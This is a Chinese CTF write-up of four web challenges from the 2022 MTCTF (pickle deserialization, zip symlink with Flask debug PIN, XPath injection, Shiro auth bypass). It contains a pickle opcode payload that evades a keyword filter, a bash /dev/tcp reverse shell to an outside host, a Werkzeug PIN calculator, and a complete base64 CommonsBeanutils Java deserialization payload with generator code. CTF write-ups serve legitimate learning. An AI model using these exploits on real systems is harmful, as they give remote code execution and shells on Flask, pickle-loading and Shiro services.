2022MTCTFWP-Web
昨天晚上比赛结果出来了, 最后是第二(结束的时候是第四但是有两只队伍被ban了然后我们就是第二了), 大后天就是决赛了, 在这里就挂一下我们web的WP吧(因为题目不是很难所以0解题之外其他的都出了)其中pickle还是值得好好仔细看一下的, 另外再发一篇文章里面对pickle的各个操作都做了详细的注释解答(学习pickle的师傅们可以参考一下hh), 就不放在这里占地方了
关键词
- ezpickle
pickle反序列化,题目涉及到的
R i o b
关键字被ban可以好好学习一下, 另外可以参考学习R i o c
被ban的蓝帽半决赛的file_session https://blog.csdn.net/weixin_45751765/article/details/125874045 【2022蓝帽杯】file_session && 浅入opcode - ezzip zip解压文件软链接映射目录 PIN码计算规则(有machine-id则用machine-id否则用boot_id,不过python3.8之前和之后的Pin码计算方法不一样,这里说的是3.8之后的)
- bayajava XPATH注入 https://www.zhihuifly.com/t/topic/370
- ezjava
shiro使用
;
绕过身份验证 ShiroCB链反序列化 Shiro历史漏洞分析: https://cn-sec.com/archives/1161339.html
ezpickle
关于opcode的语法,常用的就是下面这些(但是单靠这些是做不了这个题的,但是还是挂一下吧,说不定什么时候就要回来看了):
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
---|---|---|---|---|
c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]n[instance]n | 获得的对象入栈 | 无 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]n[callable]n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
N | 实例化一个None | N | 获得的对象入栈 | 无 |
S | 实例化一个字符串对象 | S’xxx’n(也可以使用双引号、’等python字符串形式) | 获得的对象入栈 | 无 |
V | 实例化一个UNICODE字符串对象 | Vxxxn | 获得的对象入栈 | 无 |
I | 实例化一个int对象 | Ixxxn | 获得的对象入栈 | 无 |
F | 实例化一个float对象 | Fx.xn | 获得的对象入栈 | 无 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
p | 将栈顶对象储存至memo_n | pnn | 无 | 对象被储存 |
g | 将memo_n的对象压栈 | gnn | 对象被压栈 | 无 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
b(不可用) | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |
更多的建议直接看源码
言归正传回到题目,有源码如下:
代码语言:javascript复制import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
先是需要拿到session的key,这个key长度只有4直接使用工具生成全部均为user为admin的session, 然后逐个访问爆破即可获得key(这个过程有点问题,有时候即使key是对的也会失败,所以跑了很久的脚本才拿到key)
这道题的pickle反序列化知识点前段时间的蓝帽和强网都有出现,一开始想用强网的payload但是并没有成功,后发现过滤了要命的Rioc
四个操作
之后翻了源码很久也没有找到合适的操作,只是开始注意到x93
和x81
操作并寻找有没有可利用的__new__
函数, 之后首先获取到初始的payload:
这个初始payload用于调用函数
代码语言:javascript复制import pickle
data=b'''c__builtin__
map
p0
0(]S'print(1111)'
ap1
0(c__builtin__
exec
g1
tp2
0g0
g2
x81p3
0c__builtin__
bytes
p4
0g4
(g3
tx81p5
.'''
pickle.loads(data)
执行之后可以看到命令执行成功
之后使用我通过pickle的源码注释找到了可以完成绕过的方法, V
的unicode字符导入操作结合与c
操作功能相同的x93
操作可以完成os
,__builtin__
这些包含关键字的模块的导入(x93
操作从栈中pop两次拿到两个字符串使用.
拼接后导入模块)
然后触发函数执行的我找了源码之后感觉也就__new__
实例化新对象可能有利用的机会了, 然后我就找了几个小时的python原生class的__new__
函数(后面证明了这个思路确实是正确的), 结果想到之前蓝帽做了一半的0解题貌似后面就要绕过一些反序列化的操作, 然后找了一下看到确实差不对, 蓝帽半决的是ban了i R o b
相比之下我们这里是没办b
ban了c
,但是这是小问题,因为起码来说函数触发的方式我们还是可用的,我们接下来要解决的就是找到一个替换c
的方法
因为b
是用于设置对象属性的我们一半不常用, 而c
则是导入模块, 就和import
差不多,这个ban了是个大问题, 我们不仅要导入模块,而且还要绕过关键字,后面我翻了一下pickle源代码找到了V
操作(可以通过unicode格式导入字符串)以及x93
操作(通过字符串格式指定导入的模块)完美替代了c
操作并且解决了模块中包含waf过滤字符的问题
在蓝帽杯wp的基础上修改后的payload如下(还不可用,还需要进一步修改,要不import os这句话就有好几个关键字,当时没注意到弄了半天没成功把握整麻了…):
代码语言:javascript复制data=b'''Vu005Fu005Fu0062u0075u0069u006Cu0074u0069u006Eu005Fu005F
Vu006Du0061u0070
x93p0
0(]S'import os;os.system("dir")'
ap1
0(Vu005Fu005Fu0062u0075u0069u006Cu0074u0069u006Eu005Fu005F
Vu0065u0078u0065u0063
x93g1
tp2
0g0
g2
x81p3
0Vu005Fu005Fu0062u0075u0069u006Cu0074u0069u006Eu005Fu005F
Vu0062u0079u0074u0065u0073
x93p4
0g4
(g3
tx81p5
q1.'''
里面的关键字转一下脚本然后再使用eval函数执行就行:
代码语言:javascript复制 cmd = """
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/vps/port <&1'")
"""
for i in cmd:
txt = f"""chr({ord(i)}) """
txt = f"""txt={txt[:-1:]};exec(txt)"""
之后先爆破出key之后写一个服务脚本获取session即可,生成session的flask服务如下(直接从题目代码改的):
代码语言:javascript复制import base64
import pickle
from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY'] = b'8228'
app.config['SESSION_TYPE'] = 'filesystem'
@app.route('/')
def hello_world():
cmd = """
import os
os.system("bash -c 'exec bash -i &>/dev/tcp/vps/port <&1'")
"""
txt = ""
for i in cmd:
txt = f"""chr({ord(i)}) """
txt = f"""txt={txt[:-1:]};exec(txt)"""
print(txt)
data = b'''Vu005Fu005Fu0062u0075u0069u006Cu0074u0069u006Eu005Fu005F
Vu006Du0061u0070
x93p0
0(]S'execode'
ap1
0(Vu005Fu005Fu0062u0075u0069u006Cu0074u0069u006Eu005Fu005F
Vu0065u0078u0065u0063
x93g1
tp2
0g0
g2
x81p3
0Vu005Fu005Fu0062u0075u0069u006Cu0074u0069u006Eu005Fu005F
Vu0062u0079u0074u0065u0073
x93p4
0g4
(g3
tx81p5
q1.'''.replace(b"execode",txt.encode())
session['user'] = 'admin'
session["ser_data"]=base64.b64encode(data)
print(base64.b64encode(data))
return session['user']
@app.route('/admin')
def admin():
global temp
print(session.get('user'))
print(session.get('ser_data'))
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data'))
for i in [b'builtin',b'os', b'bytes']:
print(i,end="")
if i in a:
print("No"*100)
continue
print("YES")
print(a)
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
for i in [b'R', b'i', b'o',b'b']:
print(i,end="")
if i in a:
print("No"*100)
continue
print("YES")
pickle.loads(base64.b64decode(session.get('ser_data')))
print("TEST == data::",temp==base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0', port=8888)
访问http://host:port/
获得会执行cmd
变量的python代码的session
复制session访问题目/admin
即可执行命令即可获得反弹shell
执行cat /flag
获得flag
放几个满足日常基本学习的pickle学习链接:
https://xz.aliyun.com/t/7012#toc-11
https://www.anquanke.com/post/id/188981
蓝帽半决file_session的学习:
https://blog.csdn.net/weixin_45751765/article/details/125874045
【2022蓝帽杯】file_session && 浅入opcode
ezzip
就是一个上传压缩包解压,然后可以查看解压的文件的题目
一眼软连接, 直接传个映射到根目录的软连接实现整个系统的文件映射从而任意文件读取
然而这个题目稍有不同, 因为这个题目的/flag
有权限限制, 需要命令执行cat
才能拿flag
那么要怎么完成RCE呢??
注意一点,这个flask是开了debug模式,有flask后台的,这点很重要
我们以*CTF的oh-my-grafana作为例题可以知道如果想要算出FLASK的PIN码需要以下数据:
- 开启当前flask服务的用户名
- flask/app.py文件的绝对路径,这个可以直接从Flask的控制台拿到
- docker的mac地址
- docker的machine-id(或者没有machine-id的时候就使用/proc/sys/kernel/random/boot_id)
拿到以上数据后运行以下Pin码计算脚本拿到Pin码
代码语言:javascript复制import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'95532648517',# /sys/class/net/eth0/address 16进制转10进制
'96cec10d3d9307792745ec3b85c896207445bfc71ac17f0f2e5d5488c55c3346ea36da9d417b8f57364ddc5081f3f9b1'# /etc/machine-id /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = (' d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
然后进入控制机通过os.system执行一下反弹shell的命令拿到shell执行命令就行,但是有一点可以注意一下就是题目当时直接在控制台open("/flag","r").read()
是拿不到flag的, 后面我看了一下有SUID
权限的命令, 发现cat
命令是有SUID权限的, 所以直接cat /flag
拿到flag
注意: 这里计算得到的Pin码有点奇怪, 因为之前的时候试了很多次都不行, 但是后面突然又行了, 不知道是环境问题还是什么问题, 主要是对Pin码的计算一直没有翻Flask的Pin码生成源码所以对一些问题也只能凭经验解决了, 呆住了, 继续挖坑, 有时间就去自己翻一下源码…..
bayajava
题目直接说明了这是XPATH
注入, 然后学弟说找到个工具直接照着文章操作就一把梭了就没看, 参考文章如下:
https://www.zhihuifly.com/t/topic/370
这个题目都快被做成签到了, 直接xpath注入的话即使没工具自己受挫一个payload也行, 就不多说了(好像还没写过Xpath注入的学习文章, 又挖坑,有空就找几篇文章好好学一下再写篇文章笔记)
ezjava
(这题到比赛结束也是个0解题,用CB打通了但是题目没成功不知道是不是这样做的,呆
这个题先说一下, 就是一个Shiro的;
绕过身份验证的老洞, 刚开始拿到的时候看到还是0解我以为是最新的shiro身份验证绕过漏洞CVE-2022-32532
(2022-06-28披露)但是仔细看了分析之后当前配置也不符合漏洞触发条件就挠头了很久, 而且因为shiro的洞很久没看了所以去看了很多篇分析文章但是最后都是没有太多收获, 结果最后试了一下之前CTF出现过好几次的;
绕过结果成功了……
在这留篇在今年2022年7月6日
才发的算是比较新同时对Shiro的哥哥漏洞几乎全部总结完了的文章链接:
Shiro历史漏洞分析: https://cn-sec.com/archives/1161339.html
之后就是反序列化了,其实从文件包的名字记可以看到是和shiro相关,最后我使用CB链本地打通了但是在环境一直没反应,不知道什么情况(也可能不是这样做的???毕竟如果真是这样子做的话感觉怎么着都不会是0解题吧)
下面看一下题目,放一下我本地复现的一个过程:
整个题目的代码结构如下:
pom.xml
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>ezjava</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!--SpringBoot框架集成Thymeleaf起步依赖-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<!--Shiro框架-->
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.2</version>
</dependency>
<!--hibernate-->
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.8.Final</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>
AdminRealm.java
代码语言:javascript复制//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.butler.springboot14shiro.Config;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class AdminRealm extends AuthorizingRealm {
public AdminRealm() {
}
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null;
}
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
return null;
}
}
ShiroConfig.java
代码语言:javascript复制//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.butler.springboot14shiro.Config;
import java.util.LinkedHashMap;
import java.util.Map;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class ShiroConfig {
public ShiroConfig() {
}
@Bean
public ShiroFilterFactoryBean getShiroFilterFactoryBean(@Qualifier("getDefaultWebSecurityManager") DefaultWebSecurityManager defaultWebSecurityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(defaultWebSecurityManager);
Map<String, String> filterMap = new LinkedHashMap();
filterMap.put("/", "anon");
filterMap.put("/login", "anon");
filterMap.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(filterMap);
bean.setLoginUrl("/login");
return bean;
}
@Bean
public DefaultWebSecurityManager getDefaultWebSecurityManager(@Qualifier("adminRealm") AdminRealm adminRealm) {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(adminRealm);
return securityManager;
}
@Bean
public AdminRealm adminRealm() {
return new AdminRealm();
}
}
HelloController.java
代码语言:javascript复制//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.butler.springboot14shiro.MyController;
import com.butler.springboot14shiro.Util.MyObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.util.Base64;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class HelloController {
public HelloController() {
}
@RequestMapping({"/"})
public String index(Model model) {
model.addAttribute("msg", "Hello World");
return "login";
}
@RequestMapping({"/login"})
public String login(String username, String password, Model model) {
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken(username, password);
try {
subject.login(token);
return "admin/hello";
} catch (UnknownAccountException var7) {
model.addAttribute("msg", "用户名错误");
return "login";
} catch (IncorrectCredentialsException var8) {
model.addAttribute("msg", "密码错误");
return "login";
}
}
@RequestMapping({"/admin/hello"})
public String admin(@RequestParam(name = "data",required = false) String data, Model model) throws Exception {
try {
byte[] decode = Base64.getDecoder().decode(data);
InputStream inputStream = new ByteArrayInputStream(decode);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
myObjectInputStream.readObject();
} catch (Exception var6) {
var6.printStackTrace();
model.addAttribute("msg", "data=");
}
return "admin/hello";
}
}
MyObjectInputStream.java
代码语言:javascript复制//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.butler.springboot14shiro.Util;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;
import java.util.Iterator;
public class MyObjectInputStream extends ObjectInputStream {
private static ArrayList<String> blackList = new ArrayList();
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Iterator var2 = blackList.iterator();
String s;
do {
if (!var2.hasNext()) {
return super.resolveClass(desc);
}
s = (String)var2.next();
} while(!desc.getName().contains(s));
// return super.resolveClass(desc);
throw new ClassNotFoundException("Don't hacker!");
}
static {
blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
blackList.add("java.security.SignedObject");
blackList.add("com.sun.rowset.JdbcRowSetImpl");
}
}
Springboot14ShiroApplication.java
代码语言:javascript复制//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.butler.springboot14shiro;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Springboot14ShiroApplication {
public Springboot14ShiroApplication() {
}
public static void main(String[] args) {
SpringApplication.run(Springboot14ShiroApplication.class, args);
}
}
大概就是先要绕过/admin/*
的访问权限控制然后在/admin/hello
传入data
参数, data参数会被base64解码然后先通过MyObjectInputStream
的检验之后进行反序列化
那么看一下MyObjectInputStream
做了哪些过滤吧, 主要就是对下面几个类:
- com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl
- com.sun.rowset.JdbcRowSetImpl
- org.hibernate.tuple.component.PojoComponentTuplizer
- java.security.SignedObject
下面根据pom.xml
中的导入依赖结合上面的过滤我们看一下有哪些可能的反序列化链子
- spring-boot-starter-thymeleaf
thymeleaf这个依赖我只在之前简单学习java正向开发的时候见到过, 知道是个
Java模板引擎
, 但是搜了一下也没什么相关的反序列化漏洞所以就忽略掉了 - org.hibernate
在
pom.xml
中的hibernate是很扎眼的几乎一眼见, 但是对traxTemplatesImpl
和JdbcRowSetImpl
几乎就直接把hibernate的链子堵死了(太菜了目前只跟了yso项目,里面用到的两个链子示例用的就是这两个类所以我就只会这两条链了,至于有没有其他的不知道)因为过滤所以我连版本符不符合都没关注就直接pass掉了使用hibernate的想法了 - org.apache.shiro shiro-spring1.5.2
根据题目, 结合shiro自身存在的反序列化漏洞, 我找了一下后面导入的一系列间接依赖, 其中CB是在里面的, 而且版本也在反序列化漏洞影响范围内, 所以我最后打的是这个, 而且在本地测试通过
java -jar
把服务跑起来还打通了没什么问题, 但是在拿着payload到题目环境就不行了, 感觉可能是题目环境的JDK版本问题吧(虽然按理来说CB链的链子对jdk应该是没有限制的………….)
最后就呆住了,反正就是本地跑通了但是题目没通, 或者也许是其他的解法吧, 太菜了技术有限只会用这几个简单的链子了, 求出现个Java大die带带
payload:
代码语言:javascript复制data=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgBAY29tLnN1bi5vcmcuYXBhY2hlLnhtbC5pbnRlcm5hbC5zZWN1cml0eS5jMTRuLmhlbHBlci5BdHRyQ29tcGFyZZ1IoA3i3IaaAgAAeHB0ABBvdXRwdXRQcm9wZXJ0aWVzdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAX4yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGUxQT0NfbWFja2VyL0NCU2hpcm8vRXZpbDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ AQADKClWBwAuAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAHAAdBwAvDAAwADEBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAyDAAzADQHADUMADYANwEACGNhbGMuZXhlDAA4ADkBABdQT0NfbWFja2VyL0NCU2hpcm8vRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAgACQAAAAAAAwABAAoACwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAACQAOAAAAIAADAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABMAFAACABUAAAAEAAEAFgABAAoAFwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAACwAOAAAAKgAEAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABgAGQACAAAAAQAaABsAAwAVAAAABAABABYAAQAcAB0AAgAMAAAATAACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAIADQAAABIABAAAAA4ABAAPAAwAEAAVABEADgAAAAwAAQAAABYADwAQAAAAFQAAAAQAAQAeAAEAHwAAAAIAIHB0ABJIZWxsb1RlbXBsYXRlc0ltcGxwdwEAeHEAfgANeA==
payload生成的话我就是通过修改使用之前复现ShiroCB链反序列化的项目对编码方式稍作修改生成的, 项目地址挂一个: CCShiro-CBShiro-CB
主要就是改一下Get_poc.java
文件:
package POC_macker.CBShiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Base64;
import java.util.PriorityQueue;
public class Get_poc {
public static void main(String[] args) throws Exception {
PriorityQueue payloadObject = CommomsBeanutilsShiro.getPayloadObject();
byte[] payloadByte = CommomsBeanutilsShiro.get_ObjectToByteArray(payloadObject);
// String payload = encrypt(payloadByte,"kPH bIxk5D2deZiIxcaaaA==");
System.out.println(new String(Base64.getEncoder().encode(payloadByte)));
}
public static String encrypt(byte[] plaintext, String _key){
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(_key);
ByteSource ciphertext = aes.encrypt(plaintext, key);
return ciphertext.toString();
}
}
运行Get_poc.java
的main
函数得到payload, 要执行的命令可以在POC_macker.CBShiro.Evil#Evil
进行修改
撒花撒花✿✿ヽ(°▽°)ノ✿